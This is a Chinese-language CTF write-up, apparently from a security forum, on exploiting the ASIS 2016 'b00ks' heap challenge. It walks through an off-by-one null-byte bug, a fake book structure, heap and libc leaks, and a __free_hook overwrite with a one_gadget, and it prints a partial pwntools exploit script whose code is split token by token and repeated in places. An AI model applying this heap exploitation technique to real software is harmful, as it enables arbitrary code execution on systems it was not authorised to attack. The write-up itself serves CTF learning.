是一个图书管理系统,提供了创建、删除、编辑、打印图书等功能
输入的author_name保存在bss段的0x202040处
这里存在Off-By-One漏洞。比如输入书名的长度为5,那传入read_input()函数的参数是书名指针和4,在read_input函数里,当i == 4时,循环了5次,读取了长度为5的字符。在最后退出循环之后,又追加了一个0,即往buf里写入了6个字符,所以此处会往buf中越界写一个字符"\x00" ,存在Off-By-One漏洞。
现在来整理一下:
1)首先程序会要求输入author_name;
2)然后,创建book的时候,book_name和book_description都会各自创建一个堆;
3)还有,创建book的时候,还会创建一个book结构体的堆用来存放book_name和book_descrption的指针;
4)会调用有off_by_one漏洞的函数的地方有三处:输入author_name,book_name,book_description的地方。
5)可以进行编辑的地方有两处:编辑book_description和author_name。
6)bss段如下:
不要被我的截图里的目录名影响,我的实验环境是ubuntu16x64,glibc版本是2.27。
查看程序后发现没有system等函数,保护也只是关闭了Canary,不能改写got表,所以思路就是修改__free_hook地址,让他指向shellcode,这样当我们使用free函数的时候就会自动执行shellcode,获取shell。
如前面分析所说,我们可以进行编辑修改的地方有book_description和author_name,且可以通过修改author_name内容来覆盖第一个book指针的最后两位。(它两可以相互覆盖,比如第一次输入32Byte的author_name,实际会产生一个33Byte的字符串,最后1Byte是\x00,然后创建一个book,那么\x00就会被覆盖;在第1个book存在的情况下去修改author_name,修改输入的长度也是32Byte,那么第1个book指针的最后两位会被\x00覆盖)。打印author_name的时候就会把book1地址连着打印出来。
那么,我们是否可以 伪造一个book ,将这 ”fake book“ 的 book_description 指针指向一个真实的book结构体的 descrition 指针 。这样,通过修改这个我们伪造的 book 的 description,我们就可以修改那个真实的 book 的 description 的内存空间 ,这样,再通过修改此时的 description ,我们就可以做到一个任意地址读写 。
所以可以通过我们伪造的 fake book 来修改book2 的 description 让他指向 __free_hook ,这时,我们再通过修改那个真实的 book 的 description,也就是现在指向的 __free_hook ,因为没有system等后门函数,所以将它变成我们的shellcode就好了,至于shellcode,我们可以通过 “one_gadget” 在libc中来寻找。
接下来的问题就是如何去构造fake book 。在上面我们知道 author name那有一个漏洞可以改变指向 book1 指针的位置,它能将指针的最后两位变成 “/x00” ,在gdb中我们可以看到存放 book1 的内存之前也就是 name1和 description1 这两块内存,而 description1 我们正好可以修改,那我们只要在 description1中按照 book1 的格式伪造一块内存就能达到我们上述的目的了。
构造好之后要思考的是如何让bss段里的book1指针指过来 ,因为前面说过 book1指针可以覆盖,那么,我们只要通过合理的申请内存的大小(即让 description1 块的内容区域地址的最后两位为 “/x00”)。这样,修改author_name为32位长度之后,就能覆盖book1指针最后两位为0,就能指向我们伪造的 book 的 description 那儿去。
至于修改“__free_hook” ,我们需要知道libc的加载位置。这个的话我们可以通过偏移来计算。当要申请的内存超大的时候,堆的申请会以mmap的形式来进行,而这样申请下的内存与libc是有着固定的偏移的,这个偏移我们通过gdb就可以调试出来。
d. 开始写exp调试解题,首先泄漏book1指针地址 。首先输入32 字节的 author_name ,会多输一个 \x00,然后创建一个 book ,会覆盖掉\x00,使得author_name与book_struct1指针直接连在一起,然后当输出 author_name 的时候就会把book_struct1也给输出来(这里要注意申请的book1的name和description的大小,需要让description1的地址的最后两位是0)。
e. 泄漏book2_description堆的地址。 创建第2个book,在book1的description里面构造fake book,然后利用author name那的off-by-one漏洞可以改变指向 book1 指针的位置,它能将指针的最后两位变成 “\x00”。book1堆在book1_description堆的下面,结合前面让book1_description地址最后两位为\x00的操作,这样在bss段里book1指针就是指向book1_description的地址了,而book1_description里存放着我们伪造的fake book,伪造的fake_book里name和description存放的是book2的name和description的地址,打印的时候就能把book2的description堆的地址打印出来 。
f. 泄漏libc基址 。方法是book2_description_addr - 偏移
,查看此时mmap和libc之间的偏移。如下图所示,book2_description堆的地址是0x00007ffff7f97010,位于第二个mmap中。又因为book2_description_addr是指向chunk的user_data,没有包含prev_size和size,所以偏移为0x00007ffff7f97000 + 0x10 - 0x00007ffff79e2000
one_gadget地址 :
g. 两次调用editbook函数,编辑description,分别写入free_hook函数地址和one_gadget地址。最后调用free函数以getshell。 现在book1指针指向book1_description(fake book),fake book里description指针指向book2结构体里description指针的地址。所以第一次编辑description的时候,就是把free_hook的地址写入book2结构体里,把book2结构体里的description指针改成了free_hook函数地址。第二次编辑description的时候,就把one_gadget地址写入到free_hook里去了。
$
file
Asis_2016_b00ks
Asis_2016_b00ks: ELF
64
-
bit LSB shared
object
, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
24
, BuildID[sha1]
=
cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
$ checksec
-
-
file
=
Asis_2016_b00ks
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No
0
2
Asis_2016_b00ks
$
file
Asis_2016_b00ks
Asis_2016_b00ks: ELF
64
-
bit LSB shared
object
, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
24
, BuildID[sha1]
=
cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
$ checksec
-
-
file
=
Asis_2016_b00ks
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No
0
2
Asis_2016_b00ks
struct book{
int
book_id;
/
/
offset:
0
char
*
book_name;
/
/
offset:
8
char
*
book_description;
/
/
offset:
16
int
book_description_size;
/
/
offset:
24
}
struct book{
int
book_id;
/
/
offset:
0
char
*
book_name;
/
/
offset:
8
char
*
book_description;
/
/
offset:
16
int
book_description_size;
/
/
offset:
24
}
0x202040
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
author_name
0x202060
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
0x202068
book1
book2
...
book20
0x2020FF
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
0x202040
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
author_name
0x202060
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
0x202068
book1
book2
...
book20
0x2020FF
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./Asis_2016_b00ks'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
remote(
'127.0.0.1'
,
0000
)
if
argv[
1
]
=
=
'r'
else
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
def
createbook(name_size,name,desc_size,desc):
sla(
'> '
,
'1'
)
sla(
': '
,
str
(name_size))
sla(
': '
,name)
sla(
': '
,
str
(desc_size))
sla(
': '
,desc)
def
printbook(
id
):
sla(
'> '
,
'4'
)
ru(
': '
)
for
i
in
range
(
id
):
book_id
=
int
(p.readline()[:
-
1
])
ru(
': '
)
book_name
=
p.readline()[:
-
1
]
ru(
': '
)
book_des
=
p.readline()[:
-
1
]
ru(
': '
)
book_author
=
p.readline()[:
-
1
]
return
book_id,book_name,book_des,book_author
def
createname(name):
sla(
': '
,name)
def
changename(name):
sla(
'> '
,
'5'
)
sla(
': '
,name)
def
editbook(book_id,new_desc):
sla(
'> '
,
'3'
)
sla(
': '
,
str
(book_id))
sla(
': '
,new_desc)
def
deletebook(book_id):
sla(
'> '
,
'2'
)
sla(
': '
,
str
(book_id))
p.interactive()
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./Asis_2016_b00ks'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
remote(
'127.0.0.1'
,
0000
)
if
argv[
1
]
=
=
'r'
else
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
def
createbook(name_size,name,desc_size,desc):
sla(
'> '
,
'1'
)
sla(
': '
,
str
(name_size))
sla(
': '
,name)
sla(
': '
,
str
(desc_size))
sla(
': '
,desc)
def
printbook(
id
):
sla(
'> '
,
'4'
)
ru(
': '
)
for
i
in
range
(
id
):
book_id
=
int
(p.readline()[:
-
1
])
ru(
': '
)
book_name
=
p.readline()[:
-
1
]
ru(
': '
)
book_des
=
p.readline()[:
-
1
]
ru(
': '
)
book_author
=
p.readline()[:
-
1
]
return
book_id,book_name,book_des,book_author
def
createname(name):
sla(
': '
,name)
def
changename(name):
sla(
'> '
,
'5'
)
sla(
': '
,name)
def
editbook(book_id,new_desc):
sla(
'> '
,
'3'
)
sla(
': '
,
str
(book_id))
sla(
': '
,new_desc)
def
deletebook(book_id):
sla(
'> '
,
'2'
)
sla(
': '
,
str
(book_id))
p.interactive()
createname(
"A"
*
32
)
createbook(
0x20
,
"aaaa"
,
0x20
,
"aaaaaaaaa"
)
createname(
"A"
*
32
)
createbook(
0x20
,
"aaaa"
,
0x20
,
"aaaaaaaaa"
)
createname(
"A"
*
32
)
createbook(
0x80
,
"aaaa"
,
0x20
,
"aaaaaaaaa"
)
book_id_1,book_name,book_desc,book_author
=
printbook(
1
)
book1_addr
=
u64(book_author[
32
:
32
+
6
].ljust(
8
,
'\x00'
))
leak(
'book1_addr = '
,book1_addr)
createname(
"A"
*
32
)
createbook(
0x80
,
"aaaa"
,
0x20
,
"aaaaaaaaa"
)
book_id_1,book_name,book_desc,book_author
=
printbook(
1
)
book1_addr
=
u64(book_author[
32
:
32
+
6
].ljust(
8
,
'\x00'
))
leak(
'book1_addr = '
,book1_addr)
createbook(
0x21000
,
"bbbb"
,
0x21000
,
"bbbbbbbb"
)
payload
=
p64(
1
)
+
p64(book1_addr
+
0x38
)
+
p64(book1_addr
+
0x40
)
+
p64(
0xffff
)
editbook(book_id_1,payload)
changename(
"B"
*
32
)
fake_book_id,fake_book_name,fake_book_desc,book_author
=
printbook(
1
)
book2_name_addr
=
uu64(fake_book_name)
book2_desc_addr
=
uu64(fake_book_desc)
leak(
'fake_book_name(book2_name_addr)='
,book2_name_addr)
leak(
'fake_book_des(book2_desc_addr)='
,book2_desc_addr)
createbook(
0x21000
,
"bbbb"
,
0x21000
,
"bbbbbbbb"
)
payload
=
p64(
1
)
+
p64(book1_addr
+
0x38
)
+
p64(book1_addr
+
0x40
)
+
p64(
0xffff
)
editbook(book_id_1,payload)
changename(
"B"
*
32
)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: